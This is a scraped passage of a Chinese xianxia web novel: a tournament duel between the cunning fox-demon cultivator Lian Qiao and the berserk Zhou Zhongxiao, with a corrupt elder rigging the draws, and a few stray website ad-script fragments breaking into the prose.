邵灵的神识也有外放,但在快速和强力的攻势下,只来得及围绕在周身,还来不及感受周边的变化。连乔经过的地方都被她布下阵法网,看似是邵灵将她逼至擂台边缘,事实上也是她在一步一步将邵灵引至她神识探别不到的地方,以便自己布阵行动。 在邵灵将她击中的前一秒,连乔布下的攻击阵法发挥作用,将邵灵打下云台。 邵灵一直在拼命进攻,并没有发现连乔的小动作,但是露台上的人却是将一切看得清清楚楚。 看清楚连乔是如何一步步假装败退,利用强大的心理和超强的演技,让邵灵陷入到自己的陷阱中,将她一击而败。 邵灵顿住,紧接着又笑了一下,“原来还可以这样。” 她是个非常洒脱的人,胜不骄败不馁,对连乔抱了一拳,“恭喜。” 连乔也对她行礼,“受教了。” “能够在这种情况下布下这样精密而有力的阵法,你很强。”邵灵道,“我输了,祝你成功心想事成。” 她正想转头好好再看一遍连乔布下的攻击阵,“轰”一声阵法塌了,连乔也往后一仰。 这次比试她耗费精力太大,没来得及补充体力,现在身体严重匮乏,直挺挺倒了过去。 邵灵耸耸肩,“我真亏,但凡再坚持一下,你这阵法就自动瓦解了,哈哈。” 南道顿了一下,紧接着大喊,“都愣着干什么,快救人啊!三面狐,快下去驼人啊!” 不等他出声,有一道白影已经在场下,他接住晕倒的连乔,轻轻拍了拍她的脸,“连乔?连乔?” 望着已经翻眼白的人,迟星垂将为她准备的灵石化开,输入她体内。 90.第 90 章 连乔感觉身体在不断下坠,不像是睡觉猛然下坠的失重,而是持续下沉,像当初从高架上翻下来一样。 不知道沉了多久,又有一股力量托着她往上走,她觉得自己像一片羽毛,被风托举着在空中悬浮。 那股力量不仅把她往回拉,还暖洋洋的,一直往她体内钻,先前的空洞和乏力也慢慢地被驱散,忽然间豁然开朗了。 “连乔,连乔?” 有人在摇她,有人在晃她,有人在探她灵府,还有人在掐她人中。 默非冷冷道,“三面狐,她是体力透支,不是急火攻心,你再掐她的嘴都要肿了。” 南道一把将三面狐推开,“你下手没轻没重的,刚刚她有点正常,又被你掐翻过去了。” 三面狐缩了缩脖子,焦急地来回搓手。 “醒了醒了。” 南道赶紧将连乔扶起来,连乔咳嗽两声,缓了好一会儿瞳孔才重新聚焦。 默非修长的手在她面前晃了一下,“能看得见吗?” 连乔捂住眼睛,“看得见,晕。” “没事了。”默非收回手,“方才迟公子补灵石非常快,没有让她出现灵力完全耗竭的情况,问题不大,稍作休息就能恢复。” 南道对迟星垂表示感谢,“多谢迟公子了。” 迟星垂脸色也不太好,嘴唇泛白,和连乔的脸色类似。 南道压低了声音,“迟公子,你要不要也补一点?” “不用了。” 童元宝凑过来,“师兄你还好吧,我怎么感觉你也是一脸透支的模样。” 迟星垂伸手,示意自己无碍。 邵吴兴死死盯着迟星垂的背影,目光中充满了被抢了媳妇儿的恨意。 童元宝被邵吴兴这目光看得愣了一下,“吴兴,你这是干什么?” 邵吴兴低声道,“你不觉得师兄很装吗?” “你在说什么啊,师兄一直是这样啊,你怎么好好的诋毁人家?” “你看,你被他骗了。”邵吴兴看到连乔给迟星垂分灵石,俊朗的面容充满不解,“他不装么,你看他装病,还让连乔一个病人给他分灵石?” “这么说是有点奇怪,师兄怎么也透支了?” “什么透支,一看就知道是星垂师兄吓到了啊。”白花惊道,“连乔出事得太轰烈了,师兄很早就下去了,在你们讨论连乔阵法多有精密的时候他就到了云台边上,连乔是整个人跌下来,连同着那么大的阵法也在瞬间坍塌,师兄能不吓到吗?” “不只是师兄哦,邵灵也吓到了。” 邵灵不仅吓到,还十分懊悔自己出剑太鲁莽,但凡她再多撑一小会儿,连乔的阵法都撑不住,自己都不会输得这么迅速。 所以她的脸色也很难看,和迟星垂的脸色一样白。 童元宝:“原来如此。” 连乔撑着三面狐,缓了好一会儿,头也不晕了,这才站起来,拍拍身上的灰。 地上散着一大片上品灵石碎核,还废掉一支天级灵脉。 连乔盯着迟星垂,“你是不是又将抑制重心蛊的药停了?你怎么知道我撑不住?” “你放心,早就停了。”迟星垂捏了捏眉头,“我知道你撑不住,是因为这个阵法是上次在桐花岭抓镜魔时我教给你的。” “所以呢?”连乔皱眉,“这和你发现我撑不住有什么关系?” “这阵法为我原创,优点是布阵极快,且耗力非常小,因此引起的灵力波动小,不易被对方察觉,你也是因为这一点,所以才选择布此阵。” 迟星垂继续道,“但是阵法一旦落成,维持此阵则需要耗费极大力气,正常会在阵法中心放置一根灵脉,但是留给你的时间太少了,你的精力和注意力又全部在邵灵身上,所以你将自己的灵力抽至阵眼中心,当成灵脉来用。” “我很清楚你的极限在哪里。” “勉强接受你的解释吧。” 连乔揉揉胳膊,方才在和邵灵对打的时候被震伤了,对方虽然神识没有自己强大,但是剑术是真的精湛,剑柄“嗡嗡”的余震触感到现在还停留在手上,让她觉得手麻。 迟星垂伸手,“给我。” 连乔:“除了灵石,你连伤药也准备了吗?” 迟星垂伸手,抓住连乔的手腕,另一只手抓住她小臂,骨节分明的手指在她腕上轻轻一探,碰到一块凸起的地方,稍一用力,“咔擦”一声。 连乔:“啊!” 疼得当场眼泪都要流下来了。 “迟星垂,我要让默非宰了你,把你扔出去喂三面狐!” 喂三面狐,什么好吃的喂三面狐?三面狐的耳朵立刻立起来,吐着舌头看连乔,等着她投喂。 迟星垂失笑,他往三面狐嘴里丢了一颗果脯,三面狐叼着吃了,眼睛都亮了。 连乔果然没有骗它,说喂三面狐就喂三面狐,从来不说谎。 连乔:“……” 迟星垂:“你试试,还疼吗?” 连乔晃了晃手腕,果然不疼了。 云台上是另一场比试,比试若是遇到实力相差悬殊的对手,几乎可在瞬间知晓胜负,若是遇到旗鼓相当的对手,那么极有可能会僵持不下,到最后不仅要拼实力,还要拼耐心、心态、甚至是补给。 不幸的是,这一场就是实力悬殊极大的一场,在一开赛的瞬间,其中一人便飞落下来。 连着几场都是如此。 “下一场,连乔,周重啸。” 连乔顿了一下,指着自己,“我吗?” 她怀疑自己听错了,“怎么又是我,不是刚比过么?” 迟星垂也觉得奇怪,“从规则上来说,比赛依次进行,为了节省时间,第一场比赛四场同时进行,第二场比赛两场同时进行,而现在第二场刚比完,还没有休息,怎么这么快开始了第三场?” 迟星垂道:“我去看看。” “不用看了,这次按照抽签来的,连乔抽到的是周重啸,而且抽到的是第一个。”成英轩走过来,面色不虞。 童元宝:“嚯,连乔你这运气,简直了,是衰到爆啊,居然抽到了第一个?” 方才体力透支,现在还没恢复,就要面临下一轮。 他脸色非常难看,“是第一个上场就算了,还遇到的是周重啸。” 连乔重复,“周重啸?” “你不记得了吗,跟你一样是个混世魔王,你和他之前都被冲虚学府赶走过,并且乾元剑宗大多数峰主都明确表示过不收你,也表示过不收他。” 连乔不清楚这个人,她立刻调出系统 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,“系统?” “确实有这么个人。”系统慢慢吞吞出现,它解释道,“周重啸这个人来自岭山谷,和你一样是个愣头青,为人桀骜,颇有家产,也有点本事。” “真有本事还是假有本事?” “当然是真的啦。”系统道,“我夸赞过的人,能有差的吗?” “有点本事,为什么乾元剑宗会不要他。” “乾元剑宗可惜才了,稍有些出挑的人就想抢,之所以不要周重啸,那当然是他这个人有问题啊。” 系统道:“周重啸这个人,哪儿都很好,就是脑子不太好。” 连乔纠正它,“这不是脑子不太好吗,怎么可能哪儿都好?” “啊呀,你知道我的意思,就是这个人除了脑袋哪里都正常。”系统道,“他修为很高的,当年宗门大比,他甚至已经杀出重围,进入到最后的决赛,不过出了点事故。” “怎么了?” “周重啸出现了严重的暴力倾向。”系统道,“在第二轮比试中,其中有一道武力赛,是由乾元剑宗的正式弟子发出挑战,一般的正式弟子都是同阶的,在修为上与参赛者都差不多,但是在心态上和处事能力上都远超于你,真比试起来,很有可能会落败。第一轮比试是淘汰制,而第二轮是积分制,落败后不仅不会涨积分,还会倒扣分数,一旦输了,积分就会非常低,在后续的排名中非常吃亏。” “一般来说,正式弟子知晓进门不易,通常不会下死手,也就是出七八分力,好让你能赢,让你的积分高一些,在后来的比试中能够多占点优势,但也有认死理的,拼尽全力与你相对。” “周重啸遇到的就是第二种,对方是个较真的人,对待赛事也非常认真。” “周重啸和他不相上下,但是在比试中经验不足,僵持一段时间后很明显处于下风,随后他陷入癫狂状态。”系统停顿了一下,“周重啸来自岭山谷,岭山谷有秘法,即燃烧精元来短暂提高爆发力,提前透支修为,但这个能力会对身体造成极大伤害,后期需要以十倍百倍的灵力和精力去弥补,所以岭山谷一脉一般不会随意用此功法。” “但那次毕竟是大比,周重啸立刻使用了秘法,他的修为瞬间提升百倍,但是模样也像老了十岁一样,在那一瞬间,他爆发了,并且击败了乾元剑宗的本族弟子。” 连乔道:“这不是挺好么?” “要是事情到此为止就好了!”系统道,“问题是他不是啊,他人发狂了,也疯了,不仅将对方打伤,在对方明显没有还手能力的情况下,将对方暴打,甚至是想虐杀!” “什么?”连乔皱眉,“虐杀?” “对,就是虐杀,完全是撒气式的报复。”系统道,“他拿刀往人家身上捅,刀刀见骨,还怼着经脉捅。” “那他……” “你放心,没有虐杀成功。”系统道,“还好当时有几个大长老在,发现得及时,虽然乾元剑宗弟子被打废了,但是还留了一条命,现在在重塑身骨呢。” “他都要虐杀剑宗的弟子了,怎么还有脸回来?” 这句话是问的成英轩,连乔从系统那里知道前因,她还得知道后果。 成英轩有点迟疑,“周重啸能回来,是……因为你。” 连乔皱眉,“因为我?” 91.第 91 章 当时被逐出冲虚学府,连翘引起的恶劣影响不小,虽然有一部分是云招摇她们添油加醋硬往她头上扣的帽子,但是毕竟原主有错在先。 连乔忽然明白过来过来,“你是说,因为我犯错了,但是使了些手段又回到冲虚学府了,所以周重啸也依葫芦画瓢,跟我一样选择了重新回到冲虚学府?” 成英轩点头,“对。” 连乔:“他也捐楼了?” “是啊,不仅捐了,还捐了你双倍的,并且发誓证明自己变好了,再也不情绪化了。”童元宝掏出万机,在上面翻了一圈,“而且他也花了很大一笔费用,帮助之前那位仁兄重塑了筋骨,还取得了人家的谅解。” 连乔:“谅解?” 把人家打残了,现在又给人家治好了,人家谅解他了? “虽然我知道你难以置信。”童元宝将万机收起来,双手一摊,“但是事实就是如此。” 连乔“呵呵”一笑。 一共三百六十人,第一场赛事后余一百八十人晋级,第二场余九十人晋级,第三场她的对手有八十九种可能,为什么偏偏抽中了周重啸,还是第一个上场? 玩她呢? 连乔靠在三面狐身上,周重啸已经上云台了。他不认识连乔,在场上四周环视一圈,也没等到她上台。 周重啸从鼻腔里哼出一声,白眼翻到天上去,隔着人群,他脸上的轻蔑连乔也能感受到。 “他前两场都赢了?” “赢了。”童元宝道,“周重啸实力很强的,如果不论人品仅靠实力,那么他必然是前几的,过第一轮简直是太轻松了。” “那前两场输的人呢,伤得严重吗?” “不严重,轻伤,周重啸点到为止。”童元宝道,“他说了他以前喜欢打人,现在变好了,打人没那么凶了。” “呵呵,这你也信?” 连乔伸手捏灵石,迟星垂准备了许多上品灵石,捏碎芯核,灵力便绕着她的手漫入身体。 连乔捏着灵石玩,她将头靠在三面狐身上,“三面狐,我害怕。” 默非:“你看你这模样,像是害怕的么?” 连乔侧眼看他,忽然全身发抖,“我真害怕,万一周重啸老毛病又犯了,然后对着我不停白刀子进红刀子出,默非你来得及救我吗?” 连乔一脸凄然,“你也知道,指望乾元剑宗那群老古董来救我,那绝对是不可能的,他们看到我没死可能还会等会儿,直到周重啸把我搡死了再出手。” 默非冷眼望着她,“如果没把握就不要上,乾元剑宗对我有禁制,我进不去,遇到危险我没办法立刻赶到现场。” 连乔发抖的手忽然停了,她仰着头,望着默非,从这个角度只能看到他光洁的下巴。 “对你有禁制?”她不解,“为什么?” “以前犯了一点事,和他们起了冲突。”默非并不想提这件事,“你还上吗,不上就回去。” “上啊。”连乔拍拍身上的灰,此时台上的香已经燃了三分之二,场上仍旧只有周重啸一人。等这香完全燃尽,她若还未上场,即视为弃赛。 周重啸原本还是笑眯眯的,随着等待的时间越长,脸上的笑容越来越淡,到最后完全收住,变得不耐烦。 连乔指着台上凶神恶煞的一张脸,“当然上,不是说他变好了么,现在不打人了。” 周重啸盘腿坐在台上,已经等得焦虑,开始朝台下喊,“连翘,哪位是子午谷连翘?” 连乔望着台上,又悠悠叹了口气。 南道十分忧心,“连乔,如果这次没有把握,就算了吧。” “我们回子午谷,回子午谷挺好的。”南道担心她,他总觉得事情发展得有些奇怪,“这入乾元剑宗这么麻烦,你还一次又一次遇到这么棘手的对手,我都觉得是他们故意搞你。” “实在不行我们换一个宗门,我们没必要死磕着乾元剑宗不放。要不我们去无极剑宗,无极剑宗现在虽然没落了,但是曾经也辉煌过。” “不要。”连乔继续盯着台上的那炷香,还剩一小截就要燃尽。 “我磕了这么久的乾元剑宗,说放弃就放弃,我岂不是很没面子?”连乔道:“我这次非得进去,就算进不去,我也要把这水搅浑。” 裁判在喊,“连乔,周重啸对连乔,连乔同学,请上场。” “而且,来都来了嘛,当然还是比一下试试。”连乔在最后一点香灰落下前的一瞬间跳上台,“来了。” 她跳得很急,云台非常高,她一个没站稳踉跄了一下,拧了半天才没让自己摔倒。 “哎呦哎呦哎呦……” 连乔扶住栏杆,转过身来,“嘿嘿,不好意思,脚滑。” 默非捂住了脸,“我先出去一趟。” 南道:“这也没那么丢脸吧,默非你别这样。” 三面狐挡住默非的去路,不让他走,默非头疼,“仅此一次,下次不要让别人知道我认识她。” 南道招手,“走吧,我们去露台上看。” 连乔站稳了,朝周重啸抱了个拳,“周兄,我有点事来晚了,失敬失敬。” 周重啸上下扫视连乔一番,眯了眯眼睛,“你就是连乔啊?” 连乔:“怎么?” “没怎么。”周重啸“嗤”地笑了一声,“就是跟我想象中的不太一样。” 连乔:“哦,怎么不太一样?” “就是……啧。”周重啸耸耸肩,没再说下去,对她勾勾手指,“来吧。” 这真是个十分没礼貌的动作,这人也实在是个没什么礼貌的人。 连乔站在原地,纹丝不动。 “你过来。” 连乔还是不动。 “我叫你过来!” 连乔摸了摸耳朵,又伸了个懒腰,“啥?” 周重啸有种一拳打在棉花上的无力感,从鼻腔里哼出一声,“我看你方才一直在台下坐着,没什么事啊。”周重啸冷笑一声,语气里不乏嘲讽,“怎么现在到快要到弃权了才上来?” “如果你胆小不敢上来,现在弃权也来得及,不用太勉强自己。”他道,”“毕竟看来你确实和传闻中一样,没什么本事又小招数非常多。” “周道友,传闻里的我是什么样的不重要,你是怎么样的也不重要,我们俩不过是一面之缘,而且这次过后说不定永远都见不了面,你话那么多做什么?” 她嘟嚷一声,声音小,但足够让周重啸听见,“你声音又不好听,一直在那叨叨,真够无聊的。” 作为一个很会骂人也很会挑事的人,连乔很清楚怎么样精准踩中对方的雷点,果然,她这样如此无礼且不将对方放在眼里的态度,成功地激怒了周重啸。 周重啸握紧了拳头,“你信不信我立刻废了你?” 连乔这才抬起眼,“啊?他们都说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你改了,你这也没改啊,别到时候又下手无轻重,跟上次一样被赶出去。” 论阴阳怪气,连乔能比对方多十种方法,还没怎么出力,周重啸就恼羞成怒冲了过来。 他的拳头快准狠,速度比连乔快多了,连乔能探出来他的修为在元婴后期,这是她探测的上限,事实上绝对不止的。 看来这几年周重啸在好好修习练功,比起三年前,修为至少涨了三阶。 “听说你的神识非常强大,正巧,我也练神识。”周重啸立刻将神识放射出来,不似连乔那种树根形式的蔓延,而是像闪电一样迅速,迅速充斥了整个云台。 南道猛地坐起来,“能在这么快的情况下铺出神识之海,这也太强悍了。” 他们所处的云台一方,有五分之四的区域被周重啸的神识所充斥,密密麻麻,对连乔所在的一角形成包围趋势。 连乔悬于半空,以她为圆心只有细细的根系,且延续极慢,很快被周重啸的神识困锁,囿于一角。 周重啸还在不同挤兑她的神识,将她往更小的圈内赶,想将她困死在自己的角落。 连乔不急不慌,周重啸继续将她往里推,一开始推得十分顺利,但是慢慢地,他发现连乔推不动了。 连乔的神识围成一个圈,为八角防御阵,很简单的阵法,但是布局精巧固若金汤,只要稍用力气,便可将阵法维系住,让对方再也不可僭越一步。 固守住自己的领地,连乔一动不动。 周重啸猛地往里冲,但并没有什么用,连乔的所有气力都放在防守上,她只守不攻,冷静地在一方天地中观察周重啸。 南道紧盯着云台之上,“连乔是打算慢慢耗死对方么?” “她方才取了一万灵石和十支涌泉灵脉,以她现在这种强守状态和灵力供给,只要不强出头,依照灵石的供给,可以一直撑下去。”默非道,“对方的修为和她相差不大,但是攻势汹涌,又能够短暂爆发,她这样严防死守,是最好的方式。” “能撑到什么时候?” “到比赛结束。”默非道,“如果他们俩平手,有两种可能,一种是再比一场,另一种是打为平手都进入到下一轮,具体情况也需要剑宗的裁判来评定。” 南道“嘁”了一声,“以连乔的运气和为人,那绝对不会是双方都好的结果,你看看裁判席上坐着的都有谁。” 李长淮,鬼无牙,梅远山,严青山,元常月…… 严青山和元常月不说,另外那三大长老,连乔是实打实给对方得罪了个遍。 “要我说啊,这乾元剑宗也不是非入不可,连乔有独到的剑术理解,且专修剑道,倒不如拜入无极剑宗,反正,以她的身份,就算她是个废柴,无极那边也不会不收。”南道望着台上沉入神识的少女,“况且,她不是。” 默非没有说话。 南道忽然道,“嗳?迟星垂去哪里了,方才还在这里。” “大概又是处理什么事了吧,没事,我们看我们的,师兄经常这样来无影去无踪的。”童元宝忽然探过头来,和邵吴兴继续坐在露台上,见迟星垂不在,邵吴兴的情绪明显放轻松了些。 但这轻松很快被紧张所取代,望着台上连乔微弱的神识忽然凝聚起来,猛地往外冲,有与对方誓死一战同归于尽的打算。 他站起来,“连乔这是做什么,在完全处于劣势的情况下,这样背水一战,也不可能赢。” 92.第 92 章 在裁判席之后,有一处独立的洞天,洞天外密云笼罩,结界兼顾,可供裁判安心休息。 一双枯瘦的手摩挲过号码牌,号码牌普普通通,但是被他轻触后右上角则出现一个细小刮痕,再一看,所有刻有连乔名号的木牌,都做上了相同的记号。 “上一次挑到邵灵,本想用邵灵来制服她,没想到那丫头有点本事,和邵灵对战后还能完好无损出来。”李长淮浑浊的一双眼隐隐透着精光,“不过我确实奇怪,你给她磕了这么多年毁身体的药,她的根骨还没有损毁,居然还能恢复如初,还真是坚强啊。” 铜镜的另一端,精致的男人皱起眉,“怎么,你没有把握么?” “嗤。”李长淮笑起来,笑容里透着冷意,“怎么会,这次我出的棋子是周重啸。” “周重啸是我的人,上场前我已经做了准备,连乔最好祈祷她能顺顺利利地输。”说完他伸手敲了敲木牌,木牌发出清脆的声响,“赢的代价可比输惨多了。” 对面怔顿一下,“我记得同你说过,要让连乔完好无损回来。” “完好无损?”李长淮冷不防将手中的木牌捏碎,“你还以为能和我讨价还价吗,她都舞到乾元剑宗来了,看到那嚣张的气焰我已经忍住不去教训她,能让她或者回去是看在你面子上。” “等那丫头回去,你看好她,疯狗一样的,别又放出来随便咬人。”李长淮冷笑,“我的耐心也是有限的,帮你搞了她第一次,这是第二次,我不希望有第三次。” 那边似乎轻笑了一下。 “你似乎很想撇清我们之间的关系。”那人声音慵懒,“你放心,此事过后,我暂时也不会再找你,只要你给我我想要的,你想要的我也会给你。” “你最好说到做到。”李长淮闭上了眼睛,长呼出一口气,闭目养神之际外面传来一个声音,脆生生地喊“师父。” “师父,梅长老在找您。” 白祺从门口探出头来。望着白祺青春又明媚的笑容,李长淮因为玉非缘的阴阳怪气而阴郁不已的心情慢慢地扫去,他招一招手,“小白,过来。” 白祺的脸不自然僵了一下,笑容不减,但是有点牵强,“师父。” “为师让你过来。”李长淮靠在椅子上,“你很怕为师吗?为师又不吃人” 白祺的肩膀微微缩了一下,她看一眼外面,直到李长淮等得不耐烦了,她才关上身后的门,轻步走到李长淮身前,缓缓跪坐下,“师父。” 李长淮靠坐在椅子上,望着白祺的头顶,伸手抚过她的头顶。 白祺浑身一颤,手僵住,不自然地扣在地上,“师父……” “你在害怕什么?”李长淮笑了笑,“起来吧,不用害怕,师父说过了,不吃人。” 白祺起身,笑容还挂在脸上,但是浑身僵硬得像木雕动弹不得,“师父,如果没有什么事,我、我先走了,招摇他们还在等我。” “急什么?”李长淮喝了口茶,示意她坐下,又将一盏茶推到她面前,“小白,为师记得,你许久没有再突破了。” …… 云台之上,风云涌起。 连乔的神识盘成一个小区域,自成一体,等完全固定住八角阵后,她猛地将神识收缩,凝聚成一个小球。 骂连乔八百遍缩头乌龟的周重啸终于来了力气,在连乔冲过来全力一击的时候,也将所有神识敛在一起,准备与她对冲。 在他也猛扑过去的那一瞬,连乔像拐弯的飞船,猛地一顿,忽然掉头就走,继续回到八角阵内固守一隅。 全力冲击然后扑了个空脚下一滑还差一点因为力气太大而冲出去的周重啸:“?” 干什么呢这是? 八角阵内,连乔缓缓探出了个脑袋:“嘿嘿……” 原本就压着脾气的周重啸,这会儿实在憋不住了,他猛地捶地,云台都要被捶个对穿,当然这是错觉,周重啸虽然厉害,还不至于将这数百层云晶凝成的云台给戳穿。 但这云台确实猛地一震,除了连乔,另一端比赛的赛场也感受到震动,露台上的人也同样感受到震动。 童元宝:“额……这也太暴力了。” 后面还有别的看比赛的弟子,都在窃窃私语,“这周重啸能力非常强,连乔要是没有躲开,恐怕得破相。” “破相?”另一个弟子头摇得和拨浪鼓似的,“不能吧,我不敢想象这一拳落在连乔脸上,她那张飞扬跋扈的脸该有多凄惨。” “但是拼修为和拼神识,连乔都打不过对方啊。”那人道,“先前邵灵对上连乔,邵灵神识不强,还算有短板,又刚好被连乔捕捉到她的缺点,现在是周重啸这样的全面的对手,连乔输定了啊。” “哎,这周重啸什么时候来的啊,不是说他无同理心下手没轻没重吗,怎么还能回来?” “你这话说得,连乔不也回来了?” “连乔回来是她还有得救,她只是耍小聪明,对云招摇她们也没做实质性的伤害。”一个身形高大的男人中途插话,“而且之前闹得许多风言风语后来也证明是谣传,连乔在冲虚学府这段时间,跟传闻中的完全不同啊,还解决了桐花岭镜魔和青莲妖道两桩大事。” “你谁啊,你好好的帮那妖女说话?”其中有一人是云招摇的脑残粉,平日里最讨厌连乔这等有妖族血统还仗势欺人的妖修,一听到有人护着连乔,瞬间不干了。 说话的正是邵吴兴,正巧,他是连乔的脑残粉,“什么妖女,修真者自当认万事平等,这在冲虚学院第一课便有人教过,你没学吗就进剑宗了?” “平等是对有资格平等的,对待连乔那等卑劣无比风流成性名声极差的妖修来说,不需要平等,我就是想从门缝里看她要把她看扁,怎么了?”那修士龇牙一笑,“而且连乔之前那都是巧合,谁不知道她以前什么尿性,就突然变好了变强了?鬼才信。” “就等着吧,这次遇上周重啸这等真有能力的人,连乔怎么比都是输的。” 邵吴兴一捶栏杆,“她会赢!” “你看那架势,输定了。” “赢定了!” “输!” “赢!” “输!” “赢!” “既然如此,那我们来押一下,这一场谁能赢。”童元宝伸过头来,往中间放了一个圆盘,写有连乔输赢的字样,“我们押一押,一比三的赔率怎么样?” 对面每人抓一把灵石,一股脑全压上周重啸。 这事实很客观,实力悬殊也很明显,而且他们都不喜欢连乔。 邵吴兴:“我押连乔。” 童元宝不让邵吴兴押,并且大手一挥将圆盘推出去。 他对着来回巡逻的弟子,指着对面,“乾元剑宗内禁止 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 赌博,好啊你们一个个的明知故犯,召师兄,他们在下庄,快把他们抓起来!” 对面的人:“???” 你们自己摆的盘邀请我们参加,现在还把我们供出去是想干什么,你要上天啊? 连乔继续在里面当缩头乌龟,周重啸虽然修为高力量大,但是耐心是在是差,在外面不能对连乔做什么,只能在外面等,等了一会儿,越发不耐烦。 这时,连乔又是伸头一冲,冲一半见到周重啸就回来,并且来往几次都是如此,一冲一缩,一缩一冲,仿佛那山路十八弯,弯弯不重复。 在再一次撩完周重啸拔腿就跑后,周重啸再也忍不住了,破口大骂,“连乔你是不是有病啊有病就去好好治,你要比就好好比不比就立刻认输给我滚出去,别在这拖延浪费我时间!” 连乔从阵法后伸出头:“嘿嘿……” 周重啸:我淦! 他彻底怒了,再也忍不住,今天就算连乔不出来,他也要给这阵法砸碎,拖也要把她拖出来。 “砰……” 这次是拼尽全力一撞。 连乔在阵法内也晃了一下,晃动不大,片刻后又坐稳了,她仿佛是预料到这个结果,气定神闲在坚固的阵法内鸡贼地探看外面的人,对周重啸的暴发和癫狂毫不意外。 在周重啸再一次冲过来几次仍旧没有影响到连乔时,连乔又从阵法后探出一个鬼头鬼脑的脑袋,“嘿嘿……” 啊呀不行了,我今天非得把你的阵法敲碎连同你这个人也敲碎大卸八块才能解我心头之恨! 望着对方红透了的眼睛和后槽牙都要咬碎的脸,连乔,“嘿嘿……” “砰……” “哐……” “轰……” 十几次的全力撞击后,八角法阵终于是出现一个裂口,连乔坐得也不那么稳,与此同时,周重啸也精疲力尽,大起大落的情绪和全力的攻击,让他的灵力消失极快,虽然他也带了几只灵脉,但是在暴怒和疯狂输出下,这些灵力也很快耗尽。 比试未开始,可以准备大量灵石来给赛中补给,一旦比赛开始,则不可再中途进补,现在的周重啸精疲力尽,灵力消耗来不及转化的情况下,他的动作也慢下来。 连乔探出头,这次不是装模作样假笑而是发自真心地笑了,“嘿嘿。” 迎面接下周重啸的一记剑光。 周重啸的神识阵法有轻微的松动,连乔的神识虽然细弱,但是有序且绵绵不绝,在周重啸退后休息的瞬间,快速攻城略池,一点一点反向侵占他的地盘。 先是一点缝隙,再是一片空地……直到她占据的地方和周重啸一样多。 等和周重啸暂时比了个平手,连乔对他勾勾手指,“继续,嘿嘿。” 我淦! 周重啸暴起,周围的黑云瞬时浓烈十倍,他双眸猩红,在无数次被戏谑玩弄后终于是开始正式发狂。 他的灵力忽然回拢,修为也在瞬间暴涨几十倍。 他再次使用了瞬间强化技能。 在连乔面对能将她削成碎片的罡风而不得不退回到原来的八角阵时,八角阵再也不堪其重,在对方的碾压下。“砰”一声碎成渣。 连乔跪坐在地,捂住胸口“噗”一声吐出一大口鲜血。 周重啸眯了眯眼睛,对着毫无还手之力的连乔勾手,“你去死吧。” 93.第 93 章 “好了好了,开大了,这下连乔必输无疑!” 一个戴帽子的帽子激动得帽子都甩丢了,“看他们几个一直在为连乔说话,有些人啊,对自己没有一点自知之明。” “成了。”另一个束袖子的将袖子解开,来回甩一甩,衣服散开,非常仙风道骨,活像要去走秀。 他是云招摇的追求者,对子午谷那位毒妇实在没有好印象,在露台坐了这么久,就是为了等这一刻,他本来就是来看连乔笑话的,这下终于要看到了,心情非常愉悦。 如同山海狂啸,一大片云海扑涌来,没过云台,将连乔与周重啸重重围住。 “太好了!” 那几个人激动得都站起来了,就等着连乔被冲成肉渣。 下一秒,“轰”的一声,露台剧动平稳,等云雾散去,他们想象中的画面却没有出现。 连乔四平八稳坐在一个小法阵里,法阵极小,小到只能容纳她一个人在里面。这个法阵原先在八角阵中,非常隐蔽,连露台上的人都不知道她是什么时候结的。 虽然阵法小,但是又异常坚固,在这等攻击下结结实实替它主人挡下这滔天杀招,代价居然只是轻微晃动一下。 阵法内,连乔笑眯眯地望着周重啸,“嘿嘿。” 我去你二老爷爷三舅妈,“嘿嘿”你娘啊!我实在受不了了,怎么会有这种打架从不正面打一直缩在壳子里苟活的缩头乌龟! 周重啸气得全身气血翻涌,连喉咙里都向外返腥甜味。 他指着连乔,“你,给我出来!” 你打人那么凶,看上去要我的命,我为什么要出来,出来那岂不是死定了? 连乔摇摇头,“不要。” 末了又加一句,“嘿嘿……” 周重啸捂着胸口,他已经很久没有这种感觉了,有什么东西从丹田散开,慢慢蔓延到胸腔、四肢,脖颈、大脑……又有什么东西流逝,从识海,从意识,从心流……开始控制不住自己了。 云台猛地颤动,这次是真的颤动,罡气如同潮水从四面八方涌来,以周重啸为圆心的云台地面,“咔擦咔擦”碎开,形成冰裂纹一样的瘢痕。 无数鬼怪在他脑海中叫嚣,撕咬他,驱使他,和三年前一样,他同样没能夺得对身体的控制权,且这一次比那一次更甚,心魔压过来那几乎是一瞬间的事,如同海啸扑来沿海的村落与城市,人如蝼蚁,只能看着自己被湮没,毫无还手之力。 坐在裁判席上的李长淮猛地一顿,下意识地往云台上罩了一个封闭结界。 他出手非常快,但是也来不及了,整个云台被周重啸捅了个对穿,周边还有缺口,缺口处吹的风穿过已经碎裂的小法阵拍打在她茫然而又凌乱的脸上,让她从失神的状态中回来。 我天,什么情况? 怎么还有魔气呢? 她下意识往上一窜,但也被这魔气冲得四仰八叉,妖类对待这种碾压式的异类气息非常敏感,连乔几乎是在瞬间显示出本体形态——一只巨大的九尾狐狸。 在新一轮的攻击到来之前,连乔猛地一沉,避开周重啸掀过来的铺天盖地的魔气,从那碎裂的小洞里一钻,跑了。 露台上的人也被这一幕震惊到,一个个嘴咧得能塞下两个鸡蛋。 啊什么情况,今夕何年为什么会存在魔气,还舞到乾元剑宗还在入门大比上对着一大群弟子和数个大长老贴脸开大啊! 三面狐看到狐狸率先冲出去,在周重啸满身黑气追着连乔从那碎洞中窜出去后的第一时间反应过来,迅速追上去。 南道也跟着追出去,瞬间不见了踪影。 默非周身被下了禁制,他不能御剑飞行,甚至自由走动都成问题。他起身,隔着云雾望向远处的裁判席,那里也乱成一团。 鬼无牙:“我没看错吧,这么多年过去,居然还能在剑宗内看到魔气?” 严青山摸了一把胡子神情严肃,梅承襄正在通知乾元剑宗宗主以及冲虚学院院长,元常月让成英轩组织大家有序离场,并且要求严格封锁各个出入口,防止还有别的魔人混进来。 李长淮坐在原处,半天才晃过神来。 怎么回事,药方已经改良过,怎么还会出现这种情况? 他压下心头的疑问,面色如常,在宗主以及院长赶过来的那一瞬,将袖中的符箓尽数燃尽。 连乔第一次以兽性状态出现,一开始并不习惯四肢同用,甚至还在逃跑时被那九朵蓬松硕大的狐尾绊了一跤,觉得这尾巴简直是华而不实耽误自己逃命。 